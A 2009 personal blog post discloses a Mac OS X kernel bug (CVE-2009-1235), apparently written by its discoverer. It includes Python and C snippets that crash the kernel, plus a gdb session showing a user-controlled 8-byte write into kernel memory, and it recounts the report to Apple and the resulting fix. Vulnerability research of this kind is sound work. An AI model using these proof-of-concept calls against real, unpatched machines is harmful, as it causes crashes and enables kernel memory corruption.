Razvan ME But Not Yet

“The lamp has gone out... and I’m writing... in the darkness...”

Aug 29, 2009 / 7:26pm

The Story of a Simple and Dangerous Kernel Bug

Among other things, the update for Mac OS X 10.5.8 also fixed an interesting kernel bug related to the way the fcntl call is handled. The bug was identified as CVE-2009-1235 and the first exploit seems to be from June 2008. The variant that I discovered is much simpler and is, as far as I know, the one that really convinced Apple to solve the issue. :-) The oldest kernel I was able to test the problem was Darwin 8.0.1 which corresponds to Mac OS X 10.4 “Tiger”. The Tiger was announce in June 28, 2004 but was released to the public on April 29, 2005 and it was advertised as containing more than 200 new features. The bug was closed on August 5, 2009 so the number of days the vulnerability was alive was 1599 days (4 years and 3 months).

Here is a way to trigger a kernel panic using Python:

```
import termios, fcntl
fcntl.fcntl(0, termios.TIOCGWINSZ)
```

The first paramter to `fcntl.fcntl` indicates a file descriptor and any open one (0 to 4 in Python) will work.

The C variant is also very simple (it even fits in a tweet!):

```
#include <fcntl.h>
#include <sys/ioctl.h>

int main()
{
        fcntl(0, TIOCGWINSZ, 0);
        return 0;
}
```

As expected, this code will also generate a kernel panic when the first parameter for fcntl is 1 (stdout) or 2 (stderr).

Let’s now take a better look at what really happens. First, here is the correct version of the program:

```
#include <stdio.h>
#include <sys/ioctl.h>

int main()
{
        unsigned short buff[4];
        ioctl(0, TIOCGWINSZ, &buff);
        printf("%d %d %d %d\n", buff[0], buff[1], buff[2], buff[3]);
        return 0;
}
```

What the code does is obtaining the windows size. TIOCGWINSZ and other terminal related ioctl are fully explained in tty(4).

The output of the above program is the following:

```
24 80 484 316
```

The first two numbers are the height and length of the window in characters and the second is the same in pixels. The first parameter for ioctl is also a file descriptor and the above output is also obtained for 1 (stdout) and 2 (stderr). The size in pixels depends on the terminal program (in mrxvt 0.4.1 the two numbers are always zero).

Comparing the two programs it' s obvious that the buggy one is erroneously using fcntl instead of ioctl. As incredible as might sound, I managed to do this by mistake. :P This should (obviously) not generate a kernel panic. The good news is that debugging a Darwin kernel is quite easy because Apple is providing Kernel Debug Kits which contains the debug symbols for all the shipped kernels together with some handy gdb macros. The fact that debug takes places over Ethernet is another useful thing. Investigating the call traces of the good and buggy program are like this:

```
(buggy) unix_syscall --> fcntl_nocancel -------------------> VNOP_IOCTL --> cptyioctl --> ttioctl
(non-buggy) unix_syscall --> ioctl --> fo_ioctl --> vn_ioctl --> VNOP_IOCTL --> cptyioctl --> ttioctl
```

So both calls end up in the same place but taking slightly different paths. The end point in `/bsd/kern/tty.c` is the following:

```
963         case TIOCGWINSZ:                /* get window size */
964                 *(struct winsize *)data = tp->t_winsize;
965                 break;
```

The problem is the `data` in the buggy case is whatever we give as a third parameter in the fcntl code. Considering that the 8 bytes are controlled by the user it means he can write that amount of information anywhere in the kernel memory! Pretty scary right? :-) A way to really show this is to overwrite some memory that is not used and the examine the region to see if it contains the right thing. Below is an example that is using iso font for this. Here are the steps (`ten` is the name of the target machine and it' s a G4 running 10.4.7):

```
(gdb) attach ten
Connected.
(gdb) print &iso_font
$1 = (unsigned char (*)[4096]) 0x433268
```

So `iso_font` is located at 0x433268.

```
(gdb) x/4hx iso_font
0x433268 <iso_font>:    0x0000  0x0000  0x0000  0x0000
```

And as expected, the first 8 bytes are zero.

```
(gdb) c
Continuing.
```

Next I run the buggy code with the 0x433268 as the third parameter. The program was this:

```
#include <fcntl.h>
#include <sys/ioctl.h>

int main()
{
        fcntl(0, TIOCGWINSZ, 0x433268);
        return 0;
}
```

When I run this the system didn't crash. What I did next was to crash it (using 0xdeadbeaf as the third parameter for the fcntl call) in order to be able to take another look at iso_font. Here is what I saw:

```
Program received signal SIGTRAP, Trace/breakpoint trap.
0x002bdd44 in ttioctl (tp=0x2292a04, cmd=1074295912, data=0xdeadbeaf
    <Address 0xdeadbeaf out of bounds>, flag=0, p=0x21b7b18) at
    /SourceCache/xnu/xnu-1228.12.14/bsd/kern/tty.c:964
warning: Source file is more recent than executable.
964                     *(struct winsize *)data = tp->t_winsize;
(gdb) x/4hx iso_font
0x433268 <iso_font>:    0x0018  0x0050  0x01e4  0x013c
(gdb) print tp->t_winsize
$2 = {
  ws_row = 24,
  ws_col = 80,
  ws_xpixel = 484,
  ws_ypixel = 316
}
```

So the iso_font was indeed changed in the expected way. :-)

To make this disclosure full: I discovered the kernel panic in August 2008. I wrote to Apple but the only reply I got was indicating that they are investigating the problem. In July 2009 I finally spent some time and debug the problem. After I found that it could be used to write arbitrary data in memory I wrote again to Apple. This time they wrote back asking me if I want to be credited in the Security Update. They kept their promise. :-)

Page 1 of 1

- Archives